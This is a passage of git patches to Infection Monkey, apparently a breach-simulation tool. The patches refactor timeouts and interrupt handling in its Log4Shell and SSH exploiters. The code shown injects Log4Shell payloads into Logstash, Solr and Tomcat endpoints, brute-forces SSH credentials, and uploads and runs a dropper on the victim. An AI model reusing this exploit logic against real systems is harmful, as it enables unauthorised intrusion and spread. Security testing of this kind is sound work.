insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index e04185d8a..a561efa8e 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,6 +1,7 @@ import logging import time +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, @@ -12,7 +13,6 @@ from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.i_puppet.i_puppet import ExploiterResultData -from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT from infection_monkey.model import DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target @@ -25,10 +25,8 @@ logger = logging.getLogger(__name__) class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Log4j" - SERVER_SHUTDOWN_TIMEOUT = 15 - REQUEST_TO_VICTIM_TIMEOUT = ( - 5 # Max time agent will wait for the response from victim in SECONDS - ) + SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT + REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT def _exploit_host(self) -> ExploiterResultData: self._open_ports = [ @@ -135,6 +133,11 @@ class Log4ShellExploiter(WebRCE): # because we don't know which services are running and on which ports for exploit in get_log4shell_service_exploiters(): for port in self._open_ports: + + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + logger.debug( f'Attempting Log4Shell exploit on for service "{exploit.service_name}"' f"on port {port}" @@ -147,24 +150,26 @@ class Log4ShellExploiter(WebRCE): f"potential {exploit.service_name} service: {ex}" ) + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + if self._wait_for_victim(): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, } self.exploit_info["vulnerable_urls"].append(url) - self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True def _wait_for_victim(self) -> bool: - # TODO: Peridodically check to see if ldap or HTTP servers have exited with an error. If - # they have, return with an error. - victim_called_back = False - victim_called_back = self._wait_for_victim_to_download_java_bytecode() if victim_called_back: self._wait_for_victim_to_download_agent() + if self._is_interrupted(): + return False + return victim_called_back def _wait_for_victim_to_download_java_bytecode(self) -> bool: @@ -174,8 +179,12 @@ class Log4ShellExploiter(WebRCE): start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT ): if self._exploit_class_http_server.exploit_class_downloaded(): + self.exploit_result.exploitation_success = True return True + if self._is_interrupted(): + return False + time.sleep(1) logger.debug("Timed out while waiting for victim to download the java bytecode") @@ -184,10 +193,14 @@ class Log4ShellExploiter(WebRCE): def _wait_for_victim_to_download_agent(self): start_time = time.time() - while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT): + while not self._victim_timeout_expired(start_time, LONG_REQUEST_TIMEOUT): if self._agent_http_server_thread.downloads > 0: break + if self._is_interrupted(): + return + + # TODO: if the http server got an error we're waiting for nothing here time.sleep(1) @classmethod diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py index d347a0e4f..06943dd55 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py @@ -2,6 +2,7 @@ from logging import getLogger import requests +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost @@ -15,7 +16,7 @@ class LogStashExploit(IServiceExploiter): def trigger_exploit(payload: str, host: VictimHost, port: int): url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}" try: - requests.get(url, timeout=5, verify=False) # noqa DUO123 + requests.get(url, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index a21d66a3a..26243279c 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -2,6 +2,7 @@ from logging import getLogger import requests +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost @@ -15,7 +16,7 @@ class SolrExploit(IServiceExploiter): def trigger_exploit(payload: str, host: VictimHost, port: int): url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}" try: - requests.post(url, timeout=5, verify=False) # noqa DUO123 + requests.post(url, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py index 68e0cfdf9..a01f5fecc 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -2,6 +2,7 @@ from logging import getLogger import requests +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost @@ -16,7 +17,9 @@ class TomcatExploit(IServiceExploiter): url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample" payload = {"dataname": "foo", "datavalue": payload} try: - requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + requests.post( # noqa DUO123 + url, data=payload, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False + ) except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") From 0f77d4ca37abb6015aa57f1da45f1c0fecc667e0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 21 Mar 2022 11:46:55 -0400 Subject: [PATCH 0818/1110] Agent: Use Timer in Log4ShellExploiter --- monkey/infection_monkey/exploit/log4shell.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index a561efa8e..95dc773f4 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -18,6 +18,7 @@ from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) @@ -173,11 +174,9 @@ class Log4ShellExploiter(WebRCE): return victim_called_back def _wait_for_victim_to_download_java_bytecode(self) -> bool: - start_time = time.time() + timer = Timer(Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT) - while not self._victim_timeout_expired( - start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT - ): + while not timer.is_expired(): if self._exploit_class_http_server.exploit_class_downloaded(): self.exploit_result.exploitation_success = True return True @@ -191,9 +190,9 @@ class Log4ShellExploiter(WebRCE): return False def _wait_for_victim_to_download_agent(self): - start_time = time.time() + timer = Timer(LONG_REQUEST_TIMEOUT) - while not self._victim_timeout_expired(start_time, LONG_REQUEST_TIMEOUT): + while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: break @@ -202,7 +201,3 @@ class Log4ShellExploiter(WebRCE): # TODO: if the http server got an error we're waiting for nothing here time.sleep(1) - - @classmethod - def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool: - return timeout < (time.time() - start_time) From 325c4368deb2e5340f7dddc8f63661d0d54045eb Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 21 Mar 2022 16:09:43 +0000 Subject: [PATCH 0819/1110] Agent: Remove unnecessary interrupts from log4shell --- monkey/infection_monkey/exploit/log4shell.py | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 95dc773f4..d2e3ef2a5 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -18,6 +18,7 @@ from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from infection_monkey.utils.threading import interruptable_iter from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) @@ -42,6 +43,8 @@ class Log4ShellExploiter(WebRCE): self._start_servers() try: self.exploit(None, None) + if self._is_interrupted(): + self._set_interrupted() return self.exploit_result finally: self._stop_servers() @@ -133,11 +136,8 @@ class Log4ShellExploiter(WebRCE): # Try to exploit all services, # because we don't know which services are running and on which ports for exploit in get_log4shell_service_exploiters(): - for port in self._open_ports: - - if self._is_interrupted(): - self._set_interrupted() - return self.exploit_result + intr_ports = interruptable_iter(self._open_ports, self.interrupt) + for port in intr_ports: logger.debug( f'Attempting Log4Shell exploit on for service "{exploit.service_name}"' @@ -151,10 +151,6 @@ class Log4ShellExploiter(WebRCE): f"potential {exploit.service_name} service: {ex}" ) - if self._is_interrupted(): - self._set_interrupted() - return self.exploit_result - if self._wait_for_victim(): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, @@ -168,9 +164,6 @@ class Log4ShellExploiter(WebRCE): if victim_called_back: self._wait_for_victim_to_download_agent() - if self._is_interrupted(): - return False - return victim_called_back def _wait_for_victim_to_download_java_bytecode(self) -> bool: @@ -196,8 +189,5 @@ class Log4ShellExploiter(WebRCE): if self._agent_http_server_thread.downloads > 0: break - if self._is_interrupted(): - return - # TODO: if the http server got an error we're waiting for nothing here time.sleep(1) From 684e723b09b34afbc5074a2a41b064568e8e532a Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 21 Mar 2022 16:20:48 +0000 Subject: [PATCH 0820/1110] Agent: Fix timer usage in log4shell --- monkey/infection_monkey/exploit/log4shell.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d2e3ef2a5..da39198ad 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -167,7 +167,8 @@ class Log4ShellExploiter(WebRCE): return victim_called_back def _wait_for_victim_to_download_java_bytecode(self) -> bool: - timer = Timer(Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT) + timer = Timer() + timer.set(Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT) while not timer.is_expired(): if self._exploit_class_http_server.exploit_class_downloaded(): @@ -183,7 +184,8 @@ class Log4ShellExploiter(WebRCE): return False def _wait_for_victim_to_download_agent(self): - timer = Timer(LONG_REQUEST_TIMEOUT) + timer = Timer() + timer.set(LONG_REQUEST_TIMEOUT) while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: From 9765f64174734bf37e0717322d71b196533395b3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Mar 2022 15:22:52 +0100 Subject: [PATCH 0821/1110] Agent: Make SSH interruptable --- monkey/infection_monkey/exploit/sshexec.py | 46 +++++++++++++++++----- 1 file changed, 36 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index dadbfbff1..d39e910bc 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,6 +1,5 @@ import io import logging -import time import paramiko @@ -14,6 +13,8 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) SSH_PORT = 22 @@ -26,13 +27,14 @@ class SSHExploiter(HostExploiter): def __init__(self): super(SSHExploiter, self).__init__() - self._update_timestamp = 0 def log_transfer(self, transferred, total): - # TODO: Replace with infection_monkey.utils.timer.Timer - if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE: + timer = Timer() + timer.set(TRANSFER_UPDATE_RATE) + + if timer.is_expired(): logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) - self._update_timestamp = time.time() + timer.reset() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: user_ssh_key_pairs = generate_identity_secret_pairs( @@ -40,7 +42,14 @@ class SSHExploiter(HostExploiter): secrets=self.options["credentials"]["exploit_ssh_keys"], ) - for user, ssh_key_pair in user_ssh_key_pairs: + ssh_key_pairs_iterator = interruptable_iter( + user_ssh_key_pairs, + self.interrupt, + "SSH exploiter has been interrupted", + logging.INFO, + ) + + for user, ssh_key_pair in ssh_key_pairs_iterator: # Creating file-like private key for paramiko pkey = io.StringIO(ssh_key_pair["private_key"]) ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"]) @@ -56,6 +65,8 @@ class SSHExploiter(HostExploiter): logger.debug( "Successfully logged in %s using %s users private key", self.host, ssh_string ) + self.add_vuln_port(port) + self.exploit_result.exploitation_success = True self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except Exception: @@ -73,7 +84,14 @@ class SSHExploiter(HostExploiter): secrets=self.options["credentials"]["exploit_password_list"], ) - for user, current_password in user_password_pairs: + credentials_iterator = interruptable_iter( + user_password_pairs, + self.interrupt, + "SSH exploiter has been interrupted", + logging.INFO, + ) + + for user, current_password in credentials_iterator: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) @@ -82,6 +100,7 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) + self.exploit_result.exploitation_success = True self.report_login_attempt(True, user, current_password) return ssh @@ -114,16 +133,18 @@ class SSHExploiter(HostExploiter): try: ssh = self.exploit_with_ssh_keys(port) - self.exploit_result.exploitation_success = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) - self.exploit_result.exploitation_success = True except FailedExploitationError: self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." logger.error(self.exploit_result.error_message) return self.exploit_result + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + if not self.host.os.get("type"): try: _, stdout, _ = ssh.exec_command("uname -o") @@ -154,9 +175,14 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + try: + # open_sftp can block up to an hour if a machine is killed + # after a connection with ssh.open_sftp() as ftp: - self._update_timestamp = time.time() ftp.putfo( agent_binary_file_object, self.options["dropper_target_path_linux"], From e3e038bf40fcc9b38134934658ba706a83718f51 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Mar 2022 16:50:26 +0100 Subject: [PATCH 0822/1110] Agent: Add timeouts to SSH exploit --- monkey/infection_monkey/exploit/sshexec.py | 30 +++++++++++++++++++--- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index d39e910bc..0410b95d8 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -3,6 +3,7 @@ import logging import paramiko +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter @@ -18,6 +19,11 @@ from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) SSH_PORT = 22 +SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT +SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT + TRANSFER_UPDATE_RATE = 15 @@ -61,7 +67,15 @@ class SSHExploiter(HostExploiter): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") try: - ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) + ssh.connect( + self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=SSH_CONNECT_TIMEOUT, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + ) logger.debug( "Successfully logged in %s using %s users private key", self.host, ssh_string ) @@ -96,7 +110,15 @@ class SSHExploiter(HostExploiter): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: - ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) + ssh.connect( + self.host.ip_addr, + username=user, + password=current_password, + port=port, + timeout=SSH_CONNECT_TIMEOUT, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + ) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) @@ -147,7 +169,7 @@ class SSHExploiter(HostExploiter): if not self.host.os.get("type"): try: - _, stdout, _ = ssh.exec_command("uname -o") + _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.exploit_result.os = "linux" @@ -214,7 +236,7 @@ class SSHExploiter(HostExploiter): cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline += build_monkey_commandline(self.host, self.current_depth - 1) cmdline += " > /dev/null 2>&1 &" - ssh.exec_command(cmdline) + ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", From 3cfa72f73199086bbf8481310117be0c008cd75f Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Tue, 22 Mar 2022 06:57:33 +0000 Subject: [PATCH 0823/1110] Agent: Remove unreliable stop check in log4shell --- monkey/infection_monkey/exploit/log4shell.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index da39198ad..25476ebc0 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -175,9 +175,6 @@ class Log4ShellExploiter(WebRCE): self.exploit_result.exploitation_success = True return True - if self._is_interrupted(): - return False - time.sleep(1) logger.debug("Timed out while waiting for victim to download the java bytecode") From 2c7920c95a112ca328186a2de8c59c2f5c57b051 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Tue, 22 Mar 2022 10:31:00 +0000 Subject: [PATCH 0824/1110] Agent: Fix ssh timeout for open_sftp by using forked paramiko --- monkey/infection_monkey/Pipfile | 2 +- monkey/infection_monkey/Pipfile.lock | 116 +++++++++++++-------- monkey/infection_monkey/exploit/sshexec.py | 5 +- 3 files changed, 78 insertions(+), 45 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 61b52ba13..eadb6baf9 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -9,7 +9,7 @@ impacket = ">=0.9" ipaddress = ">=1.0.23" netifaces = ">=0.10.9" odict = "==1.7.0" -paramiko = ">=2.7.1" +paramiko = {git = "https://github.com/VakarisZ/paramiko"} # Change to official once https://github.com/paramiko/paramiko/issues/2009 is closed psutil = ">=5.7.0" pymssql = "==2.1.5" pypykatz = "==0.5.2" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 60cec298d..f34b83c54 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "10da1cee29199da444d44186a3144b7802c8703514e0192552f02e46fe8f35ef" + "sha256": "acfd36df6c248eda0986bf842692078f3743788f7ff23fb7bef2ecd5f88c5ce5" }, "pipfile-spec": 6, "requires": { @@ -29,7 +29,7 @@ "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==0.0.7" }, "altgraph": { @@ -51,7 +51,7 @@ "sha256:23d5fcfae71a75826c3ed787bd9b1bc3b189ec37658961bce83c9e99455e354c", "sha256:731eda25d41783c5243153d3cb4f9357fef337c7317135488afab9ecd6b7f1a1" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==0.1.7" }, "attrs": { @@ -82,7 +82,7 @@ "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==3.2.0" }, "certifi": { @@ -168,7 +168,7 @@ "sha256:6a7a62563bbfabfda3a38f3023a1db4a35978c0abd76f6c9605ecd6554d6d9b1", "sha256:8458d7b1287c5fb128c90e23381cf99dcde74beaf6c7ff6384ce84d6fe090adb" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==8.0.4" }, "colorama": { @@ -209,7 +209,7 @@ "sha256:ec6597aa85ce03f3e507566b8bcdf9da2227ec86c4266bd5e6ab4d9e0cc8dab2", "sha256:f64b232348ee82f13aac22856515ce0195837f6968aeaa94a3d0353ea2ec06a6" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==36.0.2" }, "dnspython": { @@ -217,7 +217,7 @@ "sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e", "sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f" ], - "markers": "python_version >= '3.6' and python_version < '4.0'", + "markers": "python_version < '4' and python_full_version >= '3.6.0'", "version": "==2.2.1" }, "flask": { @@ -225,7 +225,7 @@ "sha256:59da8a3170004800a2837844bfa84d49b022550616070f7cb1a659682b2e7c9f", "sha256:e1120c228ca2f553b470df4a5fa927ab66258467526069981b3eb0a91902687d" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==2.0.3" }, "future": { @@ -293,7 +293,7 @@ "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8", "sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==3.0.3" }, "ldap3": { @@ -373,7 +373,7 @@ "sha256:6a9d2152f76ae633c609e09b48b42f55bd5a6b65f920dbbec756e5d9134a6201", "sha256:83d612afb6c57727ebf38aca433b550f83f9f8c7c3b6562ad2ab97071fd85f3a" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==0.0.21" }, "minikerberos": { @@ -381,7 +381,7 @@ "sha256:e5b9ae09b5f86baf6c3fd4a71e4078390ace1e616e7d44e57211e482eea20589", "sha256:efccdb8ad3b2637ab80287bb423ab4e61fb7b1250e9e2e2a8edcbbd76d2cbc76" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==0.2.18" }, "msldap": { @@ -437,18 +437,14 @@ }, "oscrypto": { "hashes": [ - "sha256:7d2cca6235d89d1af6eb9cfcd4d2c0cb405849868157b2f7b278beb644d48694", - "sha256:988087e05b17df8bfcc7c5fac51f54595e46d3e4dffa7b3d15955cf61a633529" + "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085", + "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4" ], - "version": "==1.2.1" + "version": "==1.3.0" }, "paramiko": { - "hashes": [ - "sha256:abf71533ea9332079db7cbcc039066c3d7575eed2df10766fa03496c3bf78cf1", - "sha256:ff47cc35dd4c4af507d2bdc9d7def9f7fa89977212b4f926e14ac486e930f03a" - ], - "index": "pypi", - "version": "==2.10.2" + "git": "https://github.com/VakarisZ/paramiko", + "ref": "c1b9a9c069294a2060be74677d9b42f30b7aa434" }, "passlib": { "hashes": [ @@ -461,6 +457,7 @@ "hashes": [ "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" ], + "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==2021.9.3" }, @@ -660,7 +657,7 @@ "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b", "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==1.5.0" }, "pyopenssl": { @@ -668,7 +665,7 @@ "sha256:660b1b1425aac4a1bea1d94168a85d99f0b3144c869dd4390d27629d0087f1bf", "sha256:ea252b38c87425b64116f808355e8da644ef9b07e429398bfece610f893ee2e0" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==22.0.0" }, "pyparsing": { @@ -676,7 +673,7 @@ "sha256:18ee9022775d270c55187733956460083db60b37d0d0fb357445f3094eed3eea", "sha256:a6c06a88f252e6c322f65faf8f418b16213b51bdfaece0524c1c1bc30c63c484" ], - "markers": "python_version >= '3.6'", + "markers": "python_full_version >= '3.6.0'", "version": "==3.0.7" }, "pypsrp": { @@ -704,31 +701,47 @@ }, "pyspnego": { "hashes": [ - "sha256:0d7b518585a3393c3152ca799d2c7b20684b37365176dca5d0672cdc22789271", - "sha256:504c462a8aff0f4d3210d6fdb037aabc926f84c32a3f31e0fded9a4e295899e2", - "sha256:5110372dd7a15cbab0c496103f31bc1147e152422efa70bb29dd3f984387cdbd", - "sha256:52689c4c9349543f451bb9eb94c35f12f114ef6ef0723b39c5b9845b715e01fd", - "sha256:5cd2574023077cc6a388c2b611bedbe66648d6fa2dad5806f075e43eaf438897", - "sha256:660d61461ab70c23bc1e97845fa02137df6e5007922a346a5eb32c1b081d8845", - "sha256:70a691c9cf9839081a451e80add049aca68cb237cd9146a689d84ae3b310103c", - "sha256:7c54d77c19fdbf67b4877dbb6f51d19168eed36f69c6b9072a739475ce174f38", - "sha256:b9360b9cea376d0431bd9803cecc7160e6f9abd1c4ca4f9c1f8cf40f49050ddb", - "sha256:b9fbbf09d6d6acb4aa7b8591b30f53cc66d5bf5f826094ab274b9585c43f7e43", - "sha256:cfa5f5de5a87f56cd8132955a3ad7cd6a6b9719f06401ca7660023df6404dcc3", - "sha256:d87a8ab7f286db6e07682c14f9fe2cdb10ccbbb67b1f65aaa298ba1fe66db894" + "sha256:05438a4e3e1526134bc2d72213417a06a2c3010f5b7271f3122e635e523c3790", + "sha256:12e4da1cbbbd645c0624699a1d99f734161cb9095e9f1fc1c1982ed1b7a44abe", + "sha256:185e0c576cde30d8853d9ea1d69c32cb93e98423934263d6c067bec7adc7dc4f", + "sha256:3361027e7e86de6b784791e09a7b2ba73d06c0be40f027a7be09e45fc92325a5", + "sha256:4971fb166dc9821c98d31d698722d48d0066f1bc63beff8bf3d2a2e60fe507d1", + "sha256:58d352d901baab754f63cb0da790c1f798605eb634f7f922df9bb6822d3de3c5", + "sha256:77b7c75bed737f24989aab453b9b8cd1c1512dfc5bed7a303a1cb1156fd59959", + "sha256:adf2f3e09bc4751c06fab1fedfe734af7f232d79927c753d8981f75a25f791ec", + "sha256:c6993ee6bcfe0036d6246324fcb7975daed858a476bfc7bf1d9334911d3dfca2", + "sha256:e21fc7283caa16761d46bea54e78cbfe3177c21e3b2d17d9ef213edcd86e1250", + "sha256:f05f1a6316a9baeaef243c9420d995c3dc34cfc91841f17db0c793e3fe557728", + "sha256:fe8b2a0d7468d904c61ae63275f8234eb055767aaaba66f6d58d86f47a25aa8e" ], - "markers": "python_version >= '3.6'", - "version": "==0.5.0" + "markers": "python_full_version >= '3.6.0'", + "version": "==0.5.1" }, "pywin32": { - "sys_platform": "== 'win32'", - "version": "*" + "hashes": [ + "sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559", + "sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51", + "sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b", + "sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb", + "sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba", + 